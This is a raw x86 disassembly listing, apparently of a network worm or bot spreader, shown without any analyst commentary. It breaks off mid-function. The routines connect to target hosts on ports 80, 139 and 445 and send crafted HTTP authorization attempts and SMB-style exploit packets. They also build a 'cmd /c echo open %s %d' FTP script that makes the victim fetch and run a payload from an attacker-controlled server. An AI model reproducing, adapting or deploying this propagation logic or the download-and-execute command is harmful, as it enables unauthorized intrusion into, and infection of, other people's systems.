; Attributes: bp-based frame
sub_40D5A3 proc near ; CODE XREF: sub_40D667+A2p
; sub_40D667+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_4F5544 ; select
cmp eax, edi
jnz short loc_40D60A
lea eax, [ebp+var_10C]
push eax
push esi
call sub_43A942 ; __WSAFDIsSet
test eax, eax
jnz short loc_40D60E
loc_40D60A: ; CODE XREF: sub_40D5A3+54j
xor eax, eax
jmp short loc_40D61E
; ---------------------------------------------------------------------------
loc_40D60E: ; CODE XREF: sub_40D5A3+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_4E2FE0 ; recv
loc_40D61E: ; CODE XREF: sub_40D5A3+69j
pop edi
pop esi
leave
retn
sub_40D5A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D622 proc near ; CODE XREF: sub_40D667+80p
; sub_40D667+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call ds:dword_4E2FC4 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call ds:dword_4E3018 ; send
cmp eax, 4
jz short loc_40D64C
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D64C: ; CODE XREF: sub_40D622+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4E3018 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D622 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D667 proc near ; CODE XREF: sub_40D746+48p
; _0:0040DB74p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BE40
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D690
xor al, al
jmp loc_40D741
; ---------------------------------------------------------------------------
loc_40D690: ; CODE XREF: sub_40D667+20j
push ebx
push 0
push esi
call sub_41E4B0
push 2Fh
push offset dword_448B48
push esi
call sub_41FBF0
push 8
lea eax, [esi+31h]
push offset dword_448B78
push eax
mov [esi+2Fh], di
call sub_41FBF0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41FBF0
push 6
add ebx, edi
push offset dword_4E5CD0
push ebx
call sub_41FBF0
push 85h
push offset dword_448AC0
push [ebp+arg_0]
call sub_40D622
add esp, 48h
test al, al
jnz short loc_40D6F7
loc_40D6F3: ; CODE XREF: sub_40D667+B8j
xor bl, bl
jmp short loc_40D738
; ---------------------------------------------------------------------------
loc_40D6F7: ; CODE XREF: sub_40D667+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40D5A3
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_40D622
add esp, 1Ch
test al, al
jz short loc_40D6F3
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40D5A3
add esp, 10h
mov bl, 1
loc_40D738: ; CODE XREF: sub_40D667+8Ej
push esi
call sub_41C9D0
pop ecx
mov al, bl
loc_40D741: ; CODE XREF: sub_40D667+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D667 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D746 proc near ; CODE XREF: _0:0040DB5Ap
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_448B88
push [ebp+arg_0]
call ds:dword_4F5540 ; send
cmp eax, 48h
jnz short loc_40D781
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D5A3
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D781
cmp [ebp+var_20], 82h
jz short loc_40D785
loc_40D781: ; CODE XREF: sub_40D746+1Bj
; sub_40D746+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D785: ; CODE XREF: sub_40D746+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D667
add esp, 0Ch
leave
retn
sub_40D746 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D798 proc near ; CODE XREF: sub_40D7E4+29p
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_43C478
call sub_4201DC
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_43C470
fstp [esp+10h+var_10]
call sub_41FFF0
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_4201DC
inc eax
leave
retn
sub_40D798 endp
; =============== S U B R O U T I N E =======================================
sub_40D7E4 proc near ; CODE XREF: sub_40D95B+23p
var_44 = qword ptr -44h
mov eax, offset loc_43B82F
call sub_420820
sub esp, 30h
push esi
lea eax, [ebp-0Dh]
push edi
xor esi, esi
push eax
lea ecx, [ebp-3Ch]
mov [ebp-24h], esi
call sub_40DBDC
push dword ptr [ebp+10h]
xor edi, edi
inc edi
mov [ebp-4], edi
call sub_40D798
pop ecx
push eax
lea ecx, [ebp-3Ch]
call sub_40DCE8
cmp [ebp+10h], esi
mov [ebp-1Ch], esi
jbe loc_40D92F
push ebx
mov ebx, [ebp+10h]
loc_40D82C: ; CODE XREF: sub_40D7E4+144j
cmp dword ptr [ebp+10h], 3
jb short loc_40D837
push 3
loc_40D834: ; CODE XREF: sub_40D7E4+5Bj
pop ebx
jmp short loc_40D848
; ---------------------------------------------------------------------------
loc_40D837: ; CODE XREF: sub_40D7E4+4Cj
cmp dword ptr [ebp+10h], 2
jnz short loc_40D841
push 2
jmp short loc_40D834
; ---------------------------------------------------------------------------
loc_40D841: ; CODE XREF: sub_40D7E4+57j
cmp [ebp+10h], edi
jnz short loc_40D848
mov ebx, edi
loc_40D848: ; CODE XREF: sub_40D7E4+51j
; sub_40D7E4+60j
and dword ptr [ebp-28h], 0
mov [ebp-2Ch], ebx
fild qword ptr [ebp-2Ch]
push ecx
push ecx ; double
fmul ds:dbl_43C480
fstp [esp+44h+var_44]
call sub_420210
pop ecx
pop ecx
call sub_4201DC
test ebx, ebx
mov [ebp-20h], eax
jbe short loc_40D889
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-14h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
inc edi
loc_40D889: ; CODE XREF: sub_40D7E4+8Aj
mov cl, [ebp-14h]
mov dl, [ebp-14h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-18h], cl
mov cl, [ebp-13h]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-13h]
mov [ebp-17h], cl
mov cl, [ebp-12h]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-16h], cl
mov cl, [ebp-12h]
and cl, 3Fh
test eax, eax
mov [ebp-15h], cl
jbe short loc_40D8F6
add [ebp-1Ch], eax
loc_40D8DB: ; CODE XREF: sub_40D7E4+110j
movsx eax, byte ptr [ebp+esi-18h]
lea ecx, [ebp-3Ch]
mov al, ds:byte_448BD8[eax]
push eax
push edi
call sub_40DC67
inc esi
cmp esi, [ebp-20h]
jb short loc_40D8DB
loc_40D8F6: ; CODE XREF: sub_40D7E4+F2j
cmp dword ptr [ebp-1Ch], 48h
jb short loc_40D90B
push dword ptr [ebp+14h]
lea ecx, [ebp-3Ch]
call sub_40DC45
and dword ptr [ebp-1Ch], 0
loc_40D90B: ; CODE XREF: sub_40D7E4+116j
push 4
pop esi
cmp [ebp-20h], esi
jnb short loc_40D924
sub esi, [ebp-20h]
loc_40D916: ; CODE XREF: sub_40D7E4+13Ej
push 3Dh
push edi
lea ecx, [ebp-3Ch]
call sub_40DC67
dec esi
jnz short loc_40D916
loc_40D924: ; CODE XREF: sub_40D7E4+12Dj
cmp dword ptr [ebp+10h], 0
ja loc_40D82C
pop ebx
loc_40D92F: ; CODE XREF: sub_40D7E4+3Ej
mov ecx, [ebp+8]
lea eax, [ebp-3Ch]
push eax
call sub_40DBF4
mov [ebp-24h], edi
and byte ptr [ebp-4], 0
lea ecx, [ebp-3Ch]
call sub_40DC3D
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
mov large fs:0, ecx
leave
retn
sub_40D7E4 endp
; =============== S U B R O U T I N E =======================================
sub_40D95B proc near ; CODE XREF: _0:0040DB3Dp
mov eax, offset loc_43B849
call sub_420820
sub esp, 10h
push ebx
push esi
push edi
push offset word_4E5CDA
and dword ptr [ebp-4], 0
push dword ptr [ebp+10h]
lea eax, [ebp-1Ch]
push dword ptr [ebp+0Ch]
push eax
call sub_40D7E4
add esp, 10h
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 1
call sub_40DCE4
lea ecx, [ebp+14h]
mov esi, eax
call sub_40DCE4
lea esi, [esi+eax+36h]
push esi
call sub_41BE40
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40D9B1
xor bl, bl
jmp short loc_40D9F0
; ---------------------------------------------------------------------------
loc_40D9B1: ; CODE XREF: sub_40D95B+50j
lea ecx, [ebp-1Ch]
call sub_40DCD7
push eax
lea ecx, [ebp+14h]
call sub_40DCD7
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41EC30
add esp, 14h
push 0
push esi
push edi
push dword ptr [ebp+8]
call ds:dword_4E3018 ; send
cmp eax, esi
jz short loc_40D9E7
xor bl, bl
jmp short loc_40D9E9
; ---------------------------------------------------------------------------
loc_40D9E7: ; CODE XREF: sub_40D95B+86j
mov bl, 1
loc_40D9E9: ; CODE XREF: sub_40D95B+8Aj
push edi
call sub_41C9D0
pop ecx
loc_40D9F0: ; CODE XREF: sub_40D95B+54j
and byte ptr [ebp-4], 0
lea ecx, [ebp-1Ch]
call sub_40DC3D
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+14h]
call sub_40DC3D
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D95B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 424h
and byte ptr [ebp-424h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-423h]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-424h]
push offset sub_448D88
push eax
call sub_41FBF0
add esp, 0Ch
mov eax, offset byte_43F0FC
push eax
push eax
movzx eax, word ptr ds:dword_4E2D00
push eax
push dword ptr [ebp+8]
call sub_40AEAD
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-395h]
push 400h
push eax
call sub_41EC30
add eax, 90h
push eax
lea eax, [ebp-424h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_448C20
push eax
call sub_40D24D
xor ebx, ebx
add esp, 30h
cmp [ebp-4], ebx
jnz short loc_40DAB7
xor eax, eax
jmp loc_40DBC1
; ---------------------------------------------------------------------------
loc_40DAB7: ; CODE XREF: _0:0040DAAEj
mov [ebp-0Ch], ebx
loc_40DABA: ; CODE XREF: _0:0040DB9Cj
test ebx, ebx
jnz loc_40DBA2
push 6
push 1
push 2
call ds:dword_4F553C ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_40DB8A
xor eax, eax
lea edi, [ebp-1Eh]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-20h], 2
call ds:dword_4E2FC8 ; htons
mov [ebp-1Eh], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_4E3008 ; inet_addr
mov [ebp-1Ch], eax
lea eax, [ebp-20h]
push 10h
push eax
push esi
call ds:dword_4E2F70 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40DB7F
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40DB47
sub esp, 10h
lea eax, [ebp-0Dh]
mov ecx, esp
mov [ebp-24h], esp
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40DC1A
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40D95B
add esp, 1Ch
jmp short loc_40DB7C
; ---------------------------------------------------------------------------
loc_40DB47: ; CODE XREF: _0:0040DB1Fj
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40DB61
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40D746
jmp short loc_40DB79
; ---------------------------------------------------------------------------
loc_40DB61: ; CODE XREF: _0:0040DB51j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40DB7F
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push esi
call sub_40D667
loc_40DB79: ; CODE XREF: _0:0040DB5Fj
add esp, 0Ch
loc_40DB7C: ; CODE XREF: _0:0040DB45j
movzx ebx, al
loc_40DB7F: ; CODE XREF: _0:0040DB16j _0:0040DB6Bj
push esi
call ds:dword_4E3060 ; closesocket
test ebx, ebx
jnz short loc_40DB95
loc_40DB8A: ; CODE XREF: _0:0040DAD3j
push 3E8h
call ds:dword_4F534C ; Sleep
loc_40DB95: ; CODE XREF: _0:0040DB88j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40DABA
loc_40DBA2: ; CODE XREF: _0:0040DABCj
lea ecx, [ebp-8]
call sub_40D07A
test ebx, ebx
jz short loc_40DBBF
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_4481F8[eax]
inc dword ptr [eax]
loc_40DBBF: ; CODE XREF: _0:0040DBACj
mov eax, ebx
loc_40DBC1: ; CODE XREF: _0:0040DAB2j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40DBC6: ; DATA XREF: _2:0043F008o
call sub_40E188
jmp $+5
push offset nullsub_1
call sub_420D10
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_40DBDC proc near ; CODE XREF: sub_40D7E4+1Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40DF46
mov eax, esi
pop esi
retn 4
sub_40DBDC endp
; =============== S U B R O U T I N E =======================================
sub_40DBF4 proc near ; CODE XREF: sub_40D7E4+152p
; sub_43A4C0+3Cp ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push 0
mov al, [edi]
mov [esi], al
call sub_40DF46
push 0FFFFFFFFh
push 0
push edi
mov ecx, esi
call sub_40DD57
mov eax, esi
pop edi
pop esi
retn 4
sub_40DBF4 endp
; =============== S U B R O U T I N E =======================================
sub_40DC1A proc near ; CODE XREF: _0:0040DB31p
; sub_43A460+27p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push 0
mov al, [eax]
mov [esi], al
call sub_40DF46
push [esp+4+arg_0]
mov ecx, esi
call sub_40DE4D
mov eax, esi
pop esi
retn 8
sub_40DC1A endp
; =============== S U B R O U T I N E =======================================
sub_40DC3D proc near ; CODE XREF: sub_40D7E4+161p
; sub_40D95B+9Cp ...
push 1
call sub_40DF46
retn
sub_40DC3D endp
; =============== S U B R O U T I N E =======================================
sub_40DC45 proc near ; CODE XREF: sub_40D7E4+11Ep
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40DC62
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40DCFC
pop esi
retn 4
sub_40DC45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40DC62 proc near ; CODE XREF: sub_40DC45+7p
; sub_40DE4D+7p
jmp sub_41BC70
sub_40DC62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC67 proc near ; CODE XREF: sub_40D7E4+107p
; sub_40D7E4+138p
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_0]
ja short loc_40DC7E
call sub_43A460
loc_40DC7E: ; CODE XREF: sub_40DC67+10j
cmp [ebp+arg_0], 0
jbe short loc_40DCB6
mov edi, [esi+8]
push 0
add edi, [ebp+arg_0]
mov ecx, esi
push edi
call sub_40DE9A
test al, al
jz short loc_40DCB6
lea eax, [ebp+arg_4]
push eax
mov eax, [esi+4]
push [ebp+arg_0]
add eax, [esi+8]
push eax
call sub_40DCBE
add esp, 0Ch
mov ecx, esi
push edi
call sub_40DE6A
loc_40DCB6: ; CODE XREF: sub_40DC67+1Bj
; sub_40DC67+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40DC67 endp
; =============== S U B R O U T I N E =======================================
sub_40DCBE proc near ; CODE XREF: sub_40DC67+3Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push [esp+arg_4]
movsx eax, byte ptr [eax]
push eax
push [esp+8+arg_0]
call sub_41E4B0
add esp, 0Ch
retn
sub_40DCBE endp
; =============== S U B R O U T I N E =======================================
sub_40DCD7 proc near ; CODE XREF: sub_40D95B+59p
; sub_40D95B+62p ...
; FUNCTION CHUNK AT 0040DF40 SIZE 00000006 BYTES
mov eax, [ecx+4]
test eax, eax
jnz short locret_40DCE3
jmp loc_40DF40
; ---------------------------------------------------------------------------
locret_40DCE3: ; CODE XREF: sub_40DCD7+5j
retn
sub_40DCD7 endp
; =============== S U B R O U T I N E =======================================
sub_40DCE4 proc near ; CODE XREF: sub_40D95B+32p
; sub_40D95B+3Cp
mov eax, [ecx+8]
retn
sub_40DCE4 endp
; =============== S U B R O U T I N E =======================================
sub_40DCE8 proc near ; CODE XREF: sub_40D7E4+33p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp [ecx+0Ch], eax
jnb short locret_40DCF9
push 0
push eax
call sub_40DE9A
locret_40DCF9: ; CODE XREF: sub_40DCE8+7j
retn 4
sub_40DCE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCFC proc near ; CODE XREF: sub_40DC45+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_4]
ja short loc_40DD13
call sub_43A460
loc_40DD13: ; CODE XREF: sub_40DCFC+10j
cmp [ebp+arg_4], 0
jbe short loc_40DD4A
mov edi, [esi+8]
push 0
add edi, [ebp+arg_4]
mov ecx, esi
push edi
call sub_40DE9A
test al, al
jz short loc_40DD4A
push [ebp+arg_4]
mov eax, [esi+4]
add eax, [esi+8]
push [ebp+arg_0]
push eax
call sub_40DD52
add esp, 0Ch
mov ecx, esi
push edi
call sub_40DE6A
loc_40DD4A: ; CODE XREF: sub_40DCFC+1Bj
; sub_40DCFC+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40DCFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40DD52 proc near ; CODE XREF: sub_40DCFC+3Ep
; sub_40DD57+D9p ...
jmp sub_41FBF0
sub_40DD52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DD57 proc near ; CODE XREF: sub_40DBF4+1Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov ecx, [ebp+arg_0]
push edi
call sub_40DE49
mov ebx, [ebp+arg_4]
cmp eax, ebx
jnb short loc_40DD73
call sub_43A760
loc_40DD73: ; CODE XREF: sub_40DD57+15j
mov ecx, [ebp+arg_0]
call sub_40DE49
mov edi, eax
sub edi, ebx
cmp [ebp+arg_8], edi
jnb short loc_40DD87
mov edi, [ebp+arg_8]
loc_40DD87: ; CODE XREF: sub_40DD57+2Bj
mov ecx, [ebp+arg_0]
cmp esi, ecx
jnz short loc_40DDA9
add edi, ebx
push 0FFFFFFFFh
push edi
mov ecx, esi
call sub_40DFD6
push ebx
push 0
mov ecx, esi
call sub_40DFD6
jmp loc_40DE40
; ---------------------------------------------------------------------------
loc_40DDA9: ; CODE XREF: sub_40DD57+35j
test edi, edi
jbe short loc_40DE12
call sub_40DE49
cmp edi, eax
jnz short loc_40DE12
mov ecx, [ebp+arg_0]
call sub_40DCD7
push eax
mov ecx, esi
call sub_40E11B
cmp byte ptr [eax], 0FEh
jnb short loc_40DE12
push [ebp+arg_0]
push esi
call sub_40E173
pop ecx
test al, al
pop ecx
jz short loc_40DE12
push 1
mov ecx, esi
call sub_40DF46
mov ecx, [ebp+arg_0]
call sub_40DCD7
mov ecx, [ebp+arg_0]
mov [esi+4], eax
call sub_40DE49
mov ecx, [ebp+arg_0]
mov [esi+8], eax
call sub_40E052
push dword ptr [esi+4]
mov ecx, esi
mov [esi+0Ch], eax
call sub_40E11B
inc byte ptr [eax]
jmp short loc_40DE40
; ---------------------------------------------------------------------------
loc_40DE12: ; CODE XREF: sub_40DD57+54j
; sub_40DD57+5Dj ...
push 1
push edi
mov ecx, esi
call sub_40DE9A
test al, al
jz short loc_40DE40
mov ecx, [ebp+arg_0]
push edi
call sub_40DCD7
add eax, [ebp+arg_4]
push eax
push dword ptr [esi+4]
call sub_40DD52
add esp, 0Ch
mov ecx, esi
push edi
call sub_40DE6A
loc_40DE40: ; CODE XREF: sub_40DD57+4Dj
; sub_40DD57+B9j ...
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40DD57 endp
; =============== S U B R O U T I N E =======================================
sub_40DE49 proc near ; CODE XREF: sub_40DD57+Bp
; sub_40DD57+1Fp ...
mov eax, [ecx+8]
retn
sub_40DE49 endp
; =============== S U B R O U T I N E =======================================
sub_40DE4D proc near ; CODE XREF: sub_40DC1A+18p
; sub_40E130+27p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40DC62
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40DFA0
pop esi
retn 4
sub_40DE4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DE6A proc near ; CODE XREF: sub_40DC67+4Ap
; sub_40DCFC+49p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and [ebp+var_1], 0
mov [ecx+8], eax
mov ecx, [ecx+4]
lea edx, [ebp+var_1]
add ecx, eax
push edx
push ecx
call sub_40DE8D
pop ecx
pop ecx
leave
retn 4
sub_40DE6A endp
; =============== S U B R O U T I N E =======================================
sub_40DE8D proc near ; CODE XREF: sub_40DE6A+18p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
mov al, [eax]
mov [ecx], al
retn
sub_40DE8D endp
; =============== S U B R O U T I N E =======================================
sub_40DE9A proc near ; CODE XREF: sub_40DC67+28p
; sub_40DCE8+Cp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push ebx
push esi
push edi
mov esi, ecx
call sub_40E040
mov edi, [esp+0Ch+arg_0]
cmp eax, edi
jnb short loc_40DEB1
call sub_43A460
loc_40DEB1: ; CODE XREF: sub_40DE9A+10j
mov eax, [esi+4]
xor ebx, ebx
cmp eax, ebx
jz short loc_40DEF1
push eax
mov ecx, esi
call sub_40E11B
cmp [eax], bl
jz short loc_40DEF1
push dword ptr [esi+4]
mov ecx, esi
call sub_40E11B
cmp byte ptr [eax], 0FFh
jz short loc_40DEF1
cmp edi, ebx
mov ecx, esi
jnz short loc_40DF32
push dword ptr [esi+4]
call sub_40E11B
dec byte ptr [eax]
push ebx
loc_40DEE6: ; CODE XREF: sub_40DE9A+63j
mov ecx, esi
call sub_40DF46
loc_40DEED: ; CODE XREF: sub_40DE9A+68j
; sub_40DE9A+72j
xor al, al
jmp short loc_40DF3A
; ---------------------------------------------------------------------------
loc_40DEF1: ; CODE XREF: sub_40DE9A+1Ej
; sub_40DE9A+2Aj ...
cmp edi, ebx
jnz short loc_40DF0E
cmp [esp+0Ch+arg_4], bl
jz short loc_40DEFF
push 1
jmp short loc_40DEE6
; ---------------------------------------------------------------------------
loc_40DEFF: ; CODE XREF: sub_40DE9A+5Fj
cmp [esi+4], ebx
jz short loc_40DEED
push ebx
mov ecx, esi
call sub_40DE6A
jmp short loc_40DEED
; ---------------------------------------------------------------------------
loc_40DF0E: ; CODE XREF: sub_40DE9A+59j
cmp [esp+0Ch+arg_4], bl
jz short loc_40DF2B
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40DF20
cmp eax, edi
jnb short loc_40DF38
loc_40DF20: ; CODE XREF: sub_40DE9A+80j
push 1
mov ecx, esi
call sub_40DF46
jmp short loc_40DF30
; ---------------------------------------------------------------------------
loc_40DF2B: ; CODE XREF: sub_40DE9A+78j
cmp [esi+0Ch], edi
jnb short loc_40DF38
loc_40DF30: ; CODE XREF: sub_40DE9A+8Fj
mov ecx, esi
loc_40DF32: ; CODE XREF: sub_40DE9A+3Fj
push edi
call sub_40E056
loc_40DF38: ; CODE XREF: sub_40DE9A+84j
; sub_40DE9A+94j
mov al, 1
loc_40DF3A: ; CODE XREF: sub_40DE9A+55j
pop edi
pop esi
pop ebx
retn 8
sub_40DE9A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40DCD7
loc_40DF40: ; CODE XREF: sub_40DCD7+7j
mov eax, offset dword_43C488
retn
; END OF FUNCTION CHUNK FOR sub_40DCD7
; =============== S U B R O U T I N E =======================================
sub_40DF46 proc near ; CODE XREF: sub_40DBDC+Dp
; sub_40DBF4+Ep ...
arg_0 = byte ptr 4
push ebx
xor ebx, ebx
cmp [esp+4+arg_0], bl
push esi
mov esi, ecx
jz short loc_40DF92
mov eax, [esi+4]
cmp eax, ebx
jz short loc_40DF92
push eax
call sub_40E11B
cmp [eax], bl
jz short loc_40DF80
push dword ptr [esi+4]
mov ecx, esi
call sub_40E11B
cmp byte ptr [eax], 0FFh
jz short loc_40DF80
push dword ptr [esi+4]
mov ecx, esi
call sub_40E11B
dec byte ptr [eax]
jmp short loc_40DF92
; ---------------------------------------------------------------------------
loc_40DF80: ; CODE XREF: sub_40DF46+1Bj
; sub_40DF46+2Aj
mov eax, [esi+0Ch]
mov ecx, esi
inc eax
inc eax
push eax
mov eax, [esi+4]
dec eax
push eax
call sub_40E123
loc_40DF92: ; CODE XREF: sub_40DF46+Aj
; sub_40DF46+11j ...
mov [esi+4], ebx
mov [esi+8], ebx
mov [esi+0Ch], ebx
pop esi
pop ebx
retn 4
sub_40DF46 endp
; =============== S U B R O U T I N E =======================================
sub_40DFA0 proc near ; CODE XREF: sub_40DE4D+14p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
push [esp+8+arg_4]
mov esi, ecx
call sub_40DE9A
test al, al
jz short loc_40DFD0
push [esp+4+arg_4]
push [esp+8+arg_0]
push dword ptr [esi+4]
call sub_40DD52
add esp, 0Ch
mov ecx, esi
push [esp+4+arg_4]
call sub_40DE6A
loc_40DFD0: ; CODE XREF: sub_40DFA0+10j
mov eax, esi
pop esi
retn 8
sub_40DFA0 endp
; =============== S U B R O U T I N E =======================================
sub_40DFD6 proc near ; CODE XREF: sub_40DD57+3Ep
; sub_40DD57+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40DFE9
call sub_43A760
loc_40DFE9: ; CODE XREF: sub_40DFD6+Cj
mov ecx, edi
call sub_40E130
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40DFFF
mov ebx, eax
loc_40DFFF: ; CODE XREF: sub_40DFD6+25j
test ebx, ebx
jbe short loc_40E033
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_40E03B
mov esi, [edi+8]
